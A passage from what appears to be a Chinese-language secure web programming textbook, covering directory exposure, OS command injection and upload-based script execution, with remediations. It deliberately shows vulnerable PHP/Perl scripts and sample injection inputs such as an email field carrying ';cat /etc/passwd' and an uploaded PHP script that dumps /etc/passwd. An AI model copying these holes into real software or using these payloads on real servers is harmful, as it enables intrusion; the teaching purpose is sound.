来限制对文件的访问，但仅仅依靠这些设置来禁止访问文件还是存在风险的。因为设置可能一不注意就会被更改。过去发生的信息泄漏事件中，虽然很多在一开始时也都通过设置限制了文件访问，但是在迁移服务器时限制就有可能会被去除，从而就会导致信息泄露的发生。\n对策\n防范内部文件被公开的根本性对策为，不将内部文件放置在公开目录下。为了做到这一点，可以采用以下方法。\n设计应用程序时，决定存放文件的安全场所\n租用服务器时确认能够使用非公开的目录\n另外，保险起见还可以将目录列表功能设为无效。其中，Apache 中可以如下编辑 httpd.conf 文件来进行设置。\n<Directory 指定路径 >\n Options -Indexes 其他选项\n 其他设置\n</Directory>\n如果租用服务器不允许更改 httpd.conf，可以在公开目录下放置名为 .htaccess 的文件，并进行如下设置。但是，鉴于有些租用服务器厂商可能不允许使用 .htaccess 来更改设置，因此事先一定要对此加以确认。\nOptions -Indexes\n参考：Apache 中隐藏特定文件的方法\n如之前所述，为了防止内部文件被公开，原则上应当彻底贯彻不将非公开文件放置在公开目录下的方针。但是，在既有 Web 网站中存在此问题时，可能就无法通过简单的移动文件的方法来解决问题。这种情况下，可以通过设置禁止外界访问特定文件，来姑且进行暂时性的处理。Apache 中 .htaccess 的设置方法如下所示。该示例中设置了禁止外界浏览扩展名为 txt 的文件。详情请参考 Apache 的说明文档。\n代码清单 .htaccess\n<Files \"*.txt\">\n deny from all\n</Files>\n4.11 调用 OS 命令引起的安全隐患\nWeb 开发所使用的编程语言中，大多数都能够通过 Shell 执行 OS（操作系统）命令。通过 Shell 执行 OS 命令时，或者开发中用到的某个方法其内部利用了 Shell 时，就有可能出现 OS 命令被任意执行的情况。这种现象被称为 OS 命令注入，接下来本节就将详解 OS 命令注入这一安全隐患。\n4.11.1 OS 命令注入\n概要\n如上所述，Web 应用开发使用的编程语言中大多都提供了通过 Shell 调用 OS 命令的功能，而如果调用 Shell 功能的方法不当，就可能导致意料之外的 OS 命令被执行。这被称为 OS 命令注入漏洞。Shell 是用来启动程序的命令行界面，比如 Windows 的 cmd.exe 和 Unix 的 sh、bash 等。OS 命令注入漏洞就是对 Shell 功能的恶意利用。\n一旦 Web 应用中存在 OS 命令注入漏洞，外界的攻击者就能够使用各种各样的方式来发动攻击，危险性极高。以下为典型的攻击流程。\n1. 从外部下载专门用来攻击的软件\n2. 对下载的软件授予执行权限\n3. 从内部攻击 OS 漏洞以取得管理员权限（Local Exploit）\n4. 攻击者在 Web 服务器上为所欲为\n攻击者能够在 Web 服务器上进行的恶意行为有以下几种。\n浏览、篡改或删除 Web 服务器内的文件\n对外发送邮件\n攻击其他服务器（称为垫脚石）\n可见 OS 命令注入漏洞的危害极大，因此在开发过程中一定要避免该漏洞的产生。\nOS 命令注入漏洞总览\n攻击手段与影响\n首先让我们来看一下针对 OS 命令注入漏洞的典型的攻击模式及其影响。\n调用 sendmail 命令发送邮件\n这里我们以如图 4-97 所示的填写反馈信息的表单为例来说明 OS 命令注入漏洞。首先来看一下正常的运行情况。\n图 4-97 反馈表单的页面跳转\n输入表单的 HTML 代码如下。\n代码清单 /4b/4b-001.html\n<body>\n<form action=\"4b-002.php\" method=\"POST\">\n请输入您的问题 <br>\n邮箱地址 <input type=\"text\" name=\"mail\"><br>\n提问 <textarea name=\"inqu\" cols=\"20\" rows=\"3\">\n</textarea><br>\n<input type=\"submit\" value=\" 发送 \">\n</form>\n</body>\n接收页面的脚本如下。通过在 system\n 函数中调用 sendmail 命令，将邮件发送至表单中所填入的邮箱地址 59\n 。邮件的信息固定为 template.txt 文件的内容。\n代码清单 /4b/4b-002.php\n<?php\n $mail = $_POST['mail'];\n system(\"/usr/sbin/sendmail -i <template.txt $mail\");\n// 以下略\n?>\n<body>\n提问已受理\n</body>\n下面为邮件模板 template.txt 的示例。此处的 Subject 消息头已根据邮件的规则进行了 MIME 编码。\n代码清单 /4b/template.txt\nFrom: webmaster@example.jp\nSubject: =?UTF-8?B?5M+X44GR5LuM44GR44G+44GX44Gf?=\nContent-Type: text/plain; charset=\"UTF-8\"\nContent-Transfer-Encoding: 8bit\n提问已受理\n收到以上表单发送的邮件后，邮件客户端的显示如下。\n图 4-98 收到邮件\nOS 命令注入攻击与影响\n下面我们来对这段脚本实施 OS 命令注入攻击。在表单的邮箱地址输入框中填入以下内容。\nbob@example.jp;cat /etc/passwd\n点击发送按钮后，如图 4-99 所示，页面上显示了 /etc/passwd 文件的内容。\n图 4-99 攻击成功\n虽然在上面的攻击示例中，攻击者只是查看了文件内容，但实际上，通过 OS 命令注入攻击，攻击者能够执行 Web 应用的用户权限所能够执行的所有命令。比如删除或更改文件、下载外部文件、使用下载的恶意软件等。\n针对 OS 命令注入漏洞的典型的攻击方法为，下载攻击 OS 漏洞的恶意代码，并通过内部攻击取得管理员权限。这样，攻击者就能够完全支配 Web 服务器。\n通过添加命令选项进行攻击\n根据应用中调用的 OS 命令，有时也能通过添加命令选项的方法来发动攻击。比如 Unix 的 find 命令。find 命令是通过指定条件来查找文件的命令，但是，在指定了 -exec 选项后，find 就能够针对查找结果的文件名执行命令。由此可见，仅通过添加 OS 命令的选项，也可能会造成意料之外的 OS 命令被执行。\n59\n 收件人通过 sendmail 命令的选项来指定。-i 选项表示禁止通过行首的点号结束邮件。\n安全隐患的产生原因\n内部调用 OS 命令的函数以及系统调用（System Call）中，多数都通过 Shell 来启动命令。Shell 是用来操作 OS 的命令行界面，如 Windows 中的 cmd.exe、Unix 系的 OS 中的 sh、bash、csh 等。通过 Shell 来启动命令，能够使管道命令（Pipe）或重定向等功能的使用变得更加便捷。\n图 4-100 通过 Shell 调用 OS 命令\n然而，Shell 提供的便利功能却会成为 OS 命令注入漏洞产生的根源。Shell 提供了一次启动多个命令的语法，因此外界就可以在参数中做手脚，使得在原来的命令的基础上又有其他的命令被启动。这就是 OS 命令注入。\n还有一种情况是，虽然开发者并没有想要调用 OS 命令，但却在无意中使用了内部会启动 Shell 的函数。典型的例子为 Perl 的 open\n 函数，详情会在本节的最后讲述。\n综上所述，产生 OS 注入漏洞的情况有如下两类。\n通过 Shell 调用 OS 命令时，没有转义 Shell 的元字符\n使用了内部调用 Shell 的函数\n下面就让我们来依次看一下这两种情况。\n在 Shell 中执行多条命令\nShell 提供了通过指定 1 行来启动多个程序的方法。而 OS 命令注入攻击就是恶意利用了 Shell 能够启动多个程序的特性。比如，在 Unix 的 Shell 中，能够使用以下写法。\n执行例 在 Shell 中执行多条命令\nWindows 的 cmd.exe 中能够使用 & 来连续执行多条命令（同 Unix 的 ;）。另外 |（管道功能）、&& 或 || 的用法也和 Unix 一样 60\n 。\nShell 中拥有特殊意义的字符（如 ;、| 等）被称为 Shell 的元字符。把元字符当作普通字符使用时需要对其进行转义。但由于 Shell 的元字符的转义方法很复杂，因此此处不做说明，详情可以参考 Shell 的相关手册。\n而如果在指定 OS 命令参数的字符串中混入了 Shell 的元字符，就会使得攻击者添加的 OS 命令被执行，这也就是 OS 命令注入漏洞产生的原因。\n使用了内部调用 Shell 的函数\nPerl 的 open\n 函数，顾名思义，是用于打开文件的函数。然而根据 open\n 的调用方法的不同，有些情况下会通过 Shell 执行 OS 命令。例如，通过 open\n 函数启动 Linux 的 pwd 命令（显示当前目录名的命令）时，只要像下面的 CGI 脚本一样，调用 open\n 函数时在命令名后面加上管道符号 | 即可。\n代码清单 /4b/4b-003.cgi\n#!/usr/bin/perl\nprint \"Content-Type: text/plain\\n\\n<body>\";\nopen FL, '/bin/pwd|' or die $!;\nprint <FL>;\nclose FL;\nprint \"</body>\";\n执行该脚本后，当前目录名就会通过 pwd 命令显示出来。\n在使用了 Perl 的 open\n 函数的脚本中，如果外界能够指定文件名，就能通过在文件名的前后加上管道符号 | 来实施 OS 命令注入攻击。\n接下来我们就来演示如何发动攻击。以下为一段 CGI 脚本，其作用仅限于打开文件并将其显示。\n代码清单 /4b/4b-004.cgi\n#!/usr/bin/perl\nuse strict;\nuse utf8;\nuse open ':utf8'; # 将默认字符编码设为 UTF-8\nuse CGI;\nprint \"Content-Type: text/plain; charset=UTF-8\\r\\n\\r\\n\";\nmy $q = new CGI;\nmy $file = $q->param('file');\nopen (IN, $file) or die $!; # 打开文件\nprint <IN>; # 显示文件的全部内容\nclose IN; # 关闭文件\n如果将查询字符串中的 file\n 指定如下，/sbin 目录下的文件一览就会被显示在页面上 61\n 。\nfile=ls+/sbin|\n执行结果如下图所示。\n图 4-101 显示了 /sbin 目录的文件一览\n安全隐患的产生原因总结\nWeb 应用的开发语言中，有些函数的内部实现利用了 Shell。如果开发者使用了这些内部调用 Shell 的函数，就可能会使得意料之外的 OS 命令被执行。这种状态被称为 OS 命令注入漏洞。\nOS 命令注入漏洞的形成需要同时满足以下三项条件。\n使用了内部调用 Shell 的函数（system\n 、open\n 等）\n将外界传入的参数传递给内部调用 Shell 的函数\n参数中 Shell 的元字符没有被转义\n60\n 详情请参考以下链接：http://technet.microsoft.com/zh-cn/library/cc737438(v=ws.10).aspx\n 。\n61\n 该脚本同时也存在目录遍历漏洞。详情请参考 4.10 节。\n对策\n为了防范 OS 命令注入漏洞，推荐大家使用下列方法中的任意一项，这里我们将以下四种方法按照推荐度由高到低进行了排序。\n选择不调用 OS 命令的实现方法\n避免使用内部调用 Shell 的函数\n不将外界输入的字符串传递给命令行参数\n使用安全的函数对传递给 OS 命令的参数进行转义\n在设计阶段决定对策方针\n具体选择哪一项对策方法，应当在设计阶段就确定下来。为此，建议在各个设计阶段分别探讨以下内容。\n基本设计阶段\n围绕代码实现方式的设计进行以下讨论。\n决定主要功能的代码实现方针\n尽量利用专门的程序库，迫不得已时再使用 OS 命令来实现\n详细设计阶段\n设计各功能的详细的实现方式时，极力避免使用内部调用 Shell 的函数\n只能使用内部调用 Shell 的函数时，讨论决定是将参数固定，还是由标准输入来指定参数\n下面我们就来分别看一下各个方法的详情。\n选择不调用 OS 命令的实现方法\n推荐度最高的方法为不调用 OS 命令，即不利用调用 Shell 的功能。这样一来，既杜绝了 OS 命令注入漏洞混入的可能性，又消除了调用 OS 命令的系统开销，能够从多方面提高应用的性能。\n下面是利用 PHP 程序库重写之前的发送邮件脚本（/4b/4b-002.php）的例子。PHP 中发送邮件时可以利用 mb_send_mail\n 函数。\n代码清单 /4b/4b-002a.php\n<?php\n $mail = $_POST['mail'];\n mb_language('Japanese');\n mb_send_mail($mail, \" 已受理 \",\n \" 提问已受理 \",\n \"From: webmaster@example.jp\");\n?>\n<body>\n提问已受理\n</body>\n然而，发送邮件的功能中可能会引入邮件头注入漏洞，详情请参考 4.9 节。后面的一个示例脚本也有同样问题。\n避免使用内部调用 Shell 的函数\n在不调用 OS 命令就无法实现所需功能的情况下，调用 OS 命令时最好使用不经过 Shell 的函数。由于 PHP 中没有合适的函数 62\n ，因此这里以 Perl 为例进行讲解。而如果只是想了解 PHP 中的对策方法，则可以跳过本小节而直接阅读下一小节。\nPerl 中也存在名为 system\n 的函数来启动 OS 命令。Perl 的 system\n 函数有两种指定命令和参数的方法，即既可以在一个参数中将它们用空格相隔，也可以将它们分别指定为函数的不同参数。下面为 Perl 脚本中启动 grep 命令的示例。\n首先是经过 Shell 的调用方法。此调用方法存在 OS 命令注入漏洞。\nmy $rtn = system(\"/bin/grep $keyword /var/data/*.txt\");\n接下来是不经过 Shell 的调用方法。\nmy $rtn = system('/bin/grep', '--', $keyword, glob('/var/data/*.txt'));\n像上面这样分别指定命令名和参数时，由于不经过 Shell，因此 Shell 的元字符（;\n 、|\n 、`\n 等）就会作为命令的参数被直接传递。也就是说，理论上不会产生 OS 命令注入漏洞。\nsystem\n 函数的第 2 个参数中指定的 '--'，表示选项（Option）的指定已经结束，后面指定的都是选项以外的参数（Parameter）。如果不这样做，外界就可以通过 -R 等第一个字符为 - 的关键字来任意指定选项。\n另外，system\n 函数的第 4 个参数中用到了 glob\n 函数，它能通过展开通配符（*.txt）来取得所有匹配的文件名（与 PHP 的 glob\n 函数相同）。经过 Shell 调用命令时，Shell 会展开通配符，而不经过 Shell 时就需要像本例一样自己手动展开通配符。\n在使用之前提到的 Perl 的 open\n 函数时，可以采用以下任一方法来避免启动 Shell。\n使用 sysopen\n 函数来代替 open\n 函数\n在 open\n 函数的第 2 个参数中指定访问模式（如下）\nopen(FL, '<', $file) or die ' 错误消息 'txt'));\n第 2 个参数中能够指定的访问模式如下。\n表 4-18 open 语句的模式指定\n模式\n说明\n`<`\n只读模式\n`>`\n读写模式（覆盖）\n`>>`\n读写模式（追加）\n`|-`\n打开程序管道\n`-|`\n从程序或命令的输出中取得数据\n比如，下面的例子中指定了 |- 模式。这是 Perl5.8 以后的版本支持的写法。此调用方法不经过 Shell，因此理论上不会产生 OS 命令注入漏洞。\n代码清单 /4b/4b-002b.cgi\n #!/usr/bin/perl\n use strict;\n use CGI;\n use utf8;\n use Encode;\n my $q = new CGI;\n my $mail = $q->param('mail');\n # 在不经过 Shell 的情况下将 sendmail 命令作为管道打开\n open (my $pipe, '|-', '/usr/sbin/sendmail', $mail) or die $!;\n # 传入邮件内容\n print $pipe encode('UTF-8', <<EndOfMail);\n To: $mail\n From: webmaster\\@example.jp\n Subject: =?UTF-8?B?5M+X44GR5LuM44GR44G+44GX44Gf?=\n Content-Type: text/plain; charset=\"UTF-8\"\n Content-Transfer-Encoding: 8bit\n 提问已受理\n EndOfMail\n close $pipe;\n # 下面为页面显示\n print encode('UTF-8', <<EndOfHTML);\n Content-Type: text/html; charset=UTF-8\n <body>\n 提问已受理\n </body>\n EndOfHTML\n需要注意的一点为，与 system\n 函数同样，这里也应该使用多个参数的形式来指定命令与其参数。因为如果使用 /usr/sbin/sendmail $mail\n 这种利用空格来区分命令和参数的形式，调用时就会经过 Shell，从而也就会引入 OS 命令注入漏洞。\n不将外界输入的字符串传递给命令行参数\n只能经过 Shell 调用 OS 命令的函数时，或者不清楚函数的内部实现是否经过 Shell 时，防范 OS 命令注入漏洞的根本性策略就是不将参数传递给命令行。\n下面就让我们结合具体例子来看。sendmail 命令指定了 -t 选项后，收件人邮箱地址就不再在命令行中指定，而是变为从邮件的各个消息头 To、Cc、Bcc 中读取。采用这个方法，就可以不用将外界输入的字符串指定给命令行，从而也就消除了 OS 命令注入漏洞。\n示例脚本如下。\n代码清单 /4b/4b-002c.php\n<?php\n $mail = $_POST['mail'];\n $h = popen('/usr/sbin/sendmail -t -i', 'w');\n if ($h === FALSE) {\n die(' 现在服务器繁忙，请稍后再试 ..');\n }\n fwrite($h, <<<EndOfMail\nTo: $mail\nFrom: webmaster@example.jp\nSubject: =?UTF-8?B?5M+X44GR5LuM44GR44G+44GX44Gf?=\nContent-Type: text/plain; charset=\"UTF-8\"\nContent-Transfer-Encoding: 8bit\n提问已受理\nEndOfMail\n);\n pclose($h);\n?>\n<body>\n提问已受理\n</body>\n这段脚本中通过指定 sendmail 的 -t 选项，使得收件人信息变为从 To 消息头中读取。然后又使用了 PHP 的 popen\n 和 fwrite\n 函数将邮件内容传给 sendmail 命令。\n然而，虽然该脚本中消除了 OS 命令注入漏洞，但还是存在邮件头注入漏洞。解决方法请参考 4.9 节。\n使用安全的函数对传递给 OS 命令的参数进行转义\n如果使用以上3个方法都无法消除 OS 命令注入漏洞，就只能经过 Shell 来调用 OS 命令，这时就需要对传给 OS 命令的参数进行转义。然而 Shell 的转义规则颇为复杂，所以不应该自己去手动实现，而是要使用专门用来安全转义的程序库函数。PHP 中相应的函数为 escapeshellarg\n 。\n使用 escapeshellarg\n 对 4b-002.php 进行操作后，调用 system\n 函数的部分就被修改如下。\n代码清单 /4b/4b-002d.php\nsystem('/usr/sbin/sendmail <template.txt ' . escapeshellarg($mail));\nPHP 中还有与 escapeshellarg\n 类似的 escapeshellcmd\n 函数，但是由于使用方法不当时可能会产生安全隐患，因此不推荐使用。详情请参考笔者的博客 [2]。\n另外，由于 Shell 转义规则的复杂性以及其他一些环境相关的原因，有时即使使用了 escapeshellarg\n 也可能无法完全杜绝安全隐患。因此，建议大家配合使用下面介绍的校验参数等辅助性对策。\nOS 命令注入攻击的辅助性对策\n上面介绍了防范 OS 命令注入漏洞的根本性对策，但由于对策的执行过程中稍有疏漏就会造成极大影响，因此，为了减少攻击造成的损害，建议配合实施以下辅助性对策。\n校验参数\n将运行应用的权限设为所需的最低权限\n给 Web 服务器上的 OS 或中间件更新安全补丁\n下面就让我们来依次看一下以上各项。\n校验参数\n4.2 节中讲过，外界的输入值应当以应用的需求为基准进行校验，而输入值校验有时也具有防范 OS 命令注入的效果。特别是在经过 Shell 调用 OS 命令的情况下，最好对参数字符串的字符种类加以限制。\n例如，将文件名传给 OS 命令的参数时，如果应用需求中将文件名限定为仅包含字母或数字，那么即使应用中忘了进行转义处理，OS 命令注入攻击也无法得逞。\n将运行应用的权限设为所需的最低权限\n遭到 OS 命令注入攻击后，由于命令执行权限即为 Web 应用所持有的权限，因此将 Web 应用的权限设为所需的最低权限，就能够将攻击造成的损害程度控制到最低。\n将用户权限设为所需的最低权限，对防范目录遍历漏洞也同样有效。\n给 Web 服务器上的 OS 或中间件更新安全补丁\n服务器在内部受到针对操作系统漏洞的攻击（Local Exploit）时，OS 命令注入攻击造成的危害程度最大。通常情况下，攻击造成的损害受限于操作 Web 服务器的用户权限，而内部攻击的情况下，一旦攻击者获取到了 root 权限，就能够对服务器为所欲为。\n因此，即使是不会受到外部攻击的安全隐患，也最好能够为系统更新安全补丁等。详情请参考 7.1 节。\n62\n 严格来说有 pcntl_exec 函数，但该函数只能用于 CGI 版的 PHP 中。 http://php.net/manual/zh/pcntl.installation.php\n 。\n参考：内部调用 Shell 的函数\n作为参考，下面对各个编程语言中内部调用 Shell 的函数进行了归纳。在开发过程中，建议不要使用下面列出的这些函数，而如果不得不使用的话，则应该选择不经过 Shell 的调用方式。\nPHP\n`system()`\n`exec()`\n`passthru()`\n`proc_open()`\n`popen()`\n`shell_exec()`\n\\`...\\`\nPerl\n`exec()`\n`system()`\n\\`...\\`\n`qx/.../`\n`open()`\nRuby\n`exec()`\n`system()`\n\\`...\\`\n注：Ruby 中也能够像 Perl 一样使用管道符号启动 Shell。例如使用 File.open() 来代替 open()，就不用担心调用 Shell 的问题了。\n参考文献\n[1] 佐名木智貴 .（2008）《.セキュア Web プログラミング Tips 集》（《Web 编程安全性技巧》）. ソフト · リサーチ · センター .\n[2] 德丸浩 .（2011 年 1 月 1 日）. PHP の escapeshellcmd の危険性（PHP 的 escapeshellcmd 的危险性）. 参考日期：2011 年 1 月 1 日，参考网址：德丸浩の日記 : http://www.tokumaru.org/d/20110101.html#p01\n4.12 文件上传相关的问题\n有些 Web 应用能让用户上传并公开图像文件或 PDF 文档。而本节就将讲述用户上传或下载文件时容易产生的安全隐患。\n4.12.1 文件上传问题的概要\n针对文件上传功能的攻击类型有如下几种。\n针对上传功能的 DoS 攻击\n使上传的文件在服务器上作为脚本执行\n诱使用户下载恶意文件\n越权下载文件\n下面我们就来依次看一下上述的各种攻击类型。\n针对上传功能的 DoS 攻击\n使用 Web 应用的上传功能连续发送体积巨大的文件时，就可能会形成使网站负荷过载的 DoS 攻击（Denial of Service Attack，拒绝服务攻击）。\n图 4-102 针对上传功能的 DoS 攻击\nDoS 攻击会造成应用的响应速度下降，严重时还会造成服务器宕机等。\n防范 DoS 攻击的一种有效策略为限制上传文件的容量。PHP 能够在 php.ini 中设置上传功能的容量限制。表 4-19 中列出了与文件上传相关的配置项。建议在满足应用需求的前提下尽量将值设置得小一些。如果应用不提供文件上传功能，那么只需将 file_uploads 设为 Off 即可。\n详情请参考 PHP 的官方文档（http://php.net/manual/zh/ini.core.php\n ）。\n表 4-19 php.ini 中与文件上传相关的配置项\n设置项目名\n解说\n默认值\nfile_uploads\n是否允许使用文件上传功能\nOn\nupload_max_filesize\n单个文件的最大容量\n2MB\nmax_file_uploads\n单次请求最大文件上传个数\n20\npost_max_size\nPOST 请求正文的最大限制\n8MB\nmemory_limit\n脚本所能申请到的最大内存值\n128MB\n另外，设置 Apache 的 httpd.conf 也能限制请求正文的最大字节数。而且此设置也适用于 PHP 以外的情况。通过在前期的检验中将不合法的请求拒之门外，能够有效提高防御 DoS 的能力。以下设置为将请求正文限制在 100K 以内 63\n 。\nLimitRequestBody 102400\n关于 PHP 和 Apache 以外的工具中限制上传文件容量的设置方法，请参考相关的文档。\n专栏：内存使用量与 CPU 使用时间等其他需要关注的资源\n前面提到的内容都只是校验了上传文件的容量，而为了能够更好地防御 DoS 攻击，还应该 对其他参数也进行校验。例如，在服务器上处理图像文件时，比起压缩后图像文件的大小，解压后图像所占用的内存容量更容易出问题。\n因此，为了能够正确估算解压后的内存使用量，我们就不能仅仅着眼于所接收的文件大小，还需要确定图像的尺寸及色数的上限值，并尽量在早期进行校验处理。\n同样，在执行使 CPU 负担过重的处理时，也需要事先对 CPU 资源（CPU 的使用时间和执行时间）进行估算，并限制相关的参数。\n使上传的文件在服务器上作为脚本执行\n如果用户上传的文件被保存在 Web 服务器的公开目录中，外界上传的脚本文件就有可能在 Web 服务器上被执行。\n图 4-103 在服务器上执行上传的脚本\n如果执行了外界传入的脚本，就会造成与 4.11 节讲述的 OS 命令注入攻击同样的影响。具体表现为，信息被泄漏、文件被篡改、其他服务器遭到攻击等。详情请参考 4.12.2 节。\n诱使用户下载恶意文件\n针对文件上传功能的第 3 种攻击方式为上传恶意文件并诱使用户下载，一旦用户浏览了该恶意文件，其 PC 就会执行 JavaScript 脚本或者感染病毒等。\n图 4-104 诱使用户下载恶意文件\n然而，这时可能会有读者产生这样的疑问，用户只是下载了文件，怎么会造成 JavaScript 脚本被执行呢？这是因为攻击者能通过一些手段使浏览器将其上传的文件误认为是 HTML。详情 将在 4.12.3 节中进行说明。\n此外，下载文件会导致 PC 感染病毒则是因为攻击者恶意利用了用来打开文件的软件中存在的漏洞。\n下载文件造成病毒感染，虽然直接原因在于上传恶意文件的用户，但有时网站的运营方也负有一定责任。因此，在决定网站的服务内容时，应当根据网站的性质决定是否对恶意软件采取措施。详情请参考 7.4 节。\n越权下载文件\n即使上传后的文件只允许特定的用户下载，有时也会出现没有下载权限的用户也能够下载文件的问题。此类问题的原因多数为没有对文件设置访问权限，从而导致用户通过推测 URL 而成功下载到了没有下载权限的文件。\n此问题将在 5.3 节中详述。\n63\nhttp://httpd.apache.org/docs/2.2/en/mod/core.html#limitrequestbody\n4.12.2 通过上传文件使服务器执行脚本\n概要\n有些文件上传处理会将用户上传的文件保存至 Web 服务器的公开目录中。这时，如果应用中允许上传文件的扩展名为 php、asp、aspx、jsp 等脚本文件的扩展名，用户就能在服务器上将上传的文件作为脚本执行。\n如果外界传入的脚本在服务器上被执行，就会造成与 OS 命令注入同样的影响，具体如下。\n浏览、篡改或删除 Web 服务器内的文件\n对外发送邮件\n攻击其他服务器（称为垫脚石）\n为了防范通过上传文件而在服务器上执行脚本，可以综合实施以下两种方法，或者实施其中的任意一种。\n不将用户上传的文件保存在公开目录中，浏览文件需通过脚本\n将文件的扩展名限定为不可执行的脚本文件\n通过上传文件使服务器执行脚本的安全隐患总览\n攻击手段与影响\n接下来我们就来看一下通过上传文件而使服务器端执行脚本的攻击模式及其影响。\n示例脚本解说\n以下为使用户上传图像文件并将该图像在页面上显示出来的 PHP 脚本。首先来看文件上传页面。可以看出，上传文件的 form 元素的 enctype 属性被指定为了 \"multipart/form-data\"\n 。\n代码清单 /4c/4c-001.php\n<body>\n<form action=\"4c-002.php\" method=\"POST\" enctype=\"multipart/form-data\">\n文件 ：<input type=\"file\" name=\"imgfile\" size=\"20\"><br>\n<input type=\"submit\" value=\" 上传 \">\n</form>\n</body>\n而以下脚本的作用就是接收文件后将其保存在 /4c/img/ 目录中，并在页面上显示出来。\n代码清单 /4c/4c-002.php\n<?php\n$tmpfile = $_FILES[\"imgfile\"][\"tmp_name\"]; // 临时文件名\n$tofile = $_FILES[\"imgfile\"][\"name\"]; // 原文件名\nif (! is_uploaded_file($tmpfile)) { // 判断文件是否已经上传\n die(' 文件没有上传 ');\n// 将图像文件移动至 img 目录\n} else if (! move_uploaded_file($tmpfile, 'img/' . $tofile)) {\n die(' 无法上传文件 ');\n}\n$imgurl = 'img/' . urlencode($tofile);\n?>\n<body>\n<a href=\"<?php echo htmlspecialchars($imgurl); ?>\"><?php echo htmlspecialchars($tofile, ENT_NOQUOTES, 'UTF-8'); ?></a>\n已上传 <br>\n<img src=\"<?php echo htmlspecialchars($imgurl); ?>\">\n</body>\n正常情况下的执行过程如下所示。\n图 4-105 示例脚本的执行范例（正常情况）\n专栏：警惕文件名中的 XSS\n4c-002.php 中生成图像文件的 URL 时，会通过 urlencode 函数对文件名进行百分号编码，并在显示处理中执行 HTML 转义。这些都是必要的处理。Unix 允许在文件名中使用 <、>、\" 等字符，因此需要根据所在位置进行相应的转义处理。当然这些都不是新鲜的内容，只是照理实施 XSS 的防范策略而已。\nPHP 脚本的上传与执行\n下面就让我们来看一下攻击的例子。这里假设用户上传的不是图像文件，而是以下 PHP 脚本文件。\n代码清单 4c-900.php\n<pre>\n<?php\n system('/bin/cat /etc/passwd');\n?>\n</pre>\n这段 PHP 脚本的作用在于通过 system\n 函数调用系统命令 cat 来显示 etc/passwd 文件的内容。上传该 PHP 脚本文件后，浏览器的页面显示如下图所示。由于 4c-900.php 并非标准的图像文件，因此页面上显示为红叉。\n图 4-106 上传了 PHP 脚本\n接下来点击 4c-900.php 链接，就能使浏览器显示刚才上传的 PHP 脚本文件。如图 4-107 所示，点击后页面上显示了 etc/passwd 文件的内容。由此可以得知上传的 PHP 脚本在服务器上被成功执行了。\n图 4-107 上传的 PHP 脚本在服务器上被执行\n上传的脚本文件在服务器上被执行造成的影响与 OS 命令注入相同。由于 system\n 和 passthru\n 等函数都能用来调用 OS 命令，因此攻击者就能够执行当前操作系统账号权限范围内的所有操作。\n安全隐患的产生原因\n上传的文件能被作为脚本执行这一安全隐患的产生需满足如下两项条件。\n上传的文件被保存至公开目录\n上传后的文件扩展名能被指定为 .php 或 .asp 等表示脚本的扩展名\n如果应用中的上传功能满足了上述两项条件，就会滋生安全隐患。因此，防范策略为至少消除上述两项条件中的任意一项。\n对策\n正如前项所介绍的那样，用户上传的文件能被作为脚本执行的条件为以下两项：文件被保存在公开目录中以及用户能指定文件扩展名为可执行的脚本文件。因此，消除上述任意一项条件就能防范安全隐患。而考虑到如果仅限制文件的扩展名很有可能会产生疏漏，因此，这里我们将主要介绍另一种对策方法，即不将文件保存在公开目录中。\n为了避免将上传的文件保存在公开目录中，下载文件时就需要经过脚本。本书把此类脚本称为“下载脚本”。\n使用下载脚本将 4c-002.php 加以改良，结果如下所示。\n代码清单 /4c/4c-002a.php\n<?php\nfunction get_upload_file_name($tofile) { /* 省略 */ }\n$tmpfile = $_FILES[\"imgfile\"][\"tmp_name\"];\n$orgfile = $_FILES[\"imgfile\"][\"name\"];\nif (! is_uploaded_file($tmpfile)) {\n die(' 文件没有上传 ');\n}\n$tofile = get_upload_file_name($orgfile);\nif (! move_uploaded_file($tmpfile, $tofile)) {\n die(' 无法上传文件 ');\n}\n$imgurl = '4c-003.php?file=' . basename($tofile);\n?>\n<body>\n<a href=\"<?php echo htmlspecialchars($imgurl); ?>\"><?php echo htmlspecialchars($orgfile, ENT_NOQUOTES, 'UTF-8'); ?></a>\n已上传 <br>\n<img src=\"<?php echo htmlspecialchars($imgurl); ?>\n\">\n</body>\n可以看出，上述脚本对原先脚本做了 2 处修改。首先，将文件的保存场所从公开目录（/4c/img）改为了由 get_upload_file_name\n 函数返回的文件名。另外，取得图像的 URL 时使其经过了下载脚本。get_upload_file_name\n 函数的源码如下所示。\n代码清单 /4c/4c-002a.php（get_upload_file_name 的定义）\ndefine('UPLOADPATH', '/var/upload');\nfunction get_upload_file_name($tofile) {\n // 校验扩展名\n $info = pathinfo($tofile);\n $ext = strtolower($info['extension']); // 扩展名（统一为小写字母）\n if ($ext != 'gif' && $ext != 'jpg' && $ext != 'png') {\n die(' 只能上传扩展名为 gif、jpg 或 png 的图像文件 ');\n }\n // 下面的处理为生成唯一的文件名\n $count = 0; // 尝试生成文件名的次数\n do {\n // 生成文件名\n $file = sprintf('%s/%08x.%s', UPLOADPATH, mt_rand(), $ext);\n // 生成文件，如果文件已存在则报错\n $fp = @fopen($file, 'x');\n } while ($fp === FALSE && ++$count < 10);\n if ($fp === FALSE) {\n die(' 无法生成文件 ');\n }\n fclose($fp);\n return $file;\n}\nget_upload_file_name\n 函数中首先确保文件的扩展名为 gif、jpg 或 png。\n接着，利用随机数生成包含了原来扩展名的唯一的文件名，并检验文件名是否有重复 64\n 。文件名被生成后，再使用指定了 'x'\n 选项的 fopen\n 来打开文件，这样当文件已经存在时就会进入错误处理。出错后会不断循环执行 fopen\n 直到不出错为止，但考虑到还存在文件名冲突以外的异常而导致出错的情况，因此，如果生成文件名处理超过 10 次的话就中止此处理。\n64\n 此处将 PHP 的官方文档中的示例脚本 http://www.php.net/manual/zh/function.tempnam.php#98232\n 进行了改良。\n随后将文件关闭，但不删除生成的文件，而是通过 move_uploaded_file\n 函数覆盖原文件。如果将文件删除，就无法保证文件名的唯一性。\n下面为下载脚本 4c-003.php 的源码。\n代码清单 /4c/4c-003.php\n<?php\n// 注意 ：该下载脚本中包含跨站脚本漏洞\n//\ndefine('UPLOADPATH', '/var/upload');\n$mimes = array('gif' => 'image/gif', 'jpg' => 'image/jpeg',\n'png' => 'image/png',);\n$file = $_GET['file'];\n$info = pathinfo($file); // 取得文件信息\n$ext = strtolower($info['extension']); // 扩展名（统一为小写字母）\n$content_type = $mimes[$ext]; // 取得 Content-Type\nif (! $content_type) {\n die(' 只能上传扩展名为 gif、jpg 或 png 的图像文件 ');\n}\nheader('Content-Type: ' . $content_type);\nreadfile(UPLOADPATH . '/' . basename($file));\n?>\n上述脚本是从查询字符串 file\n 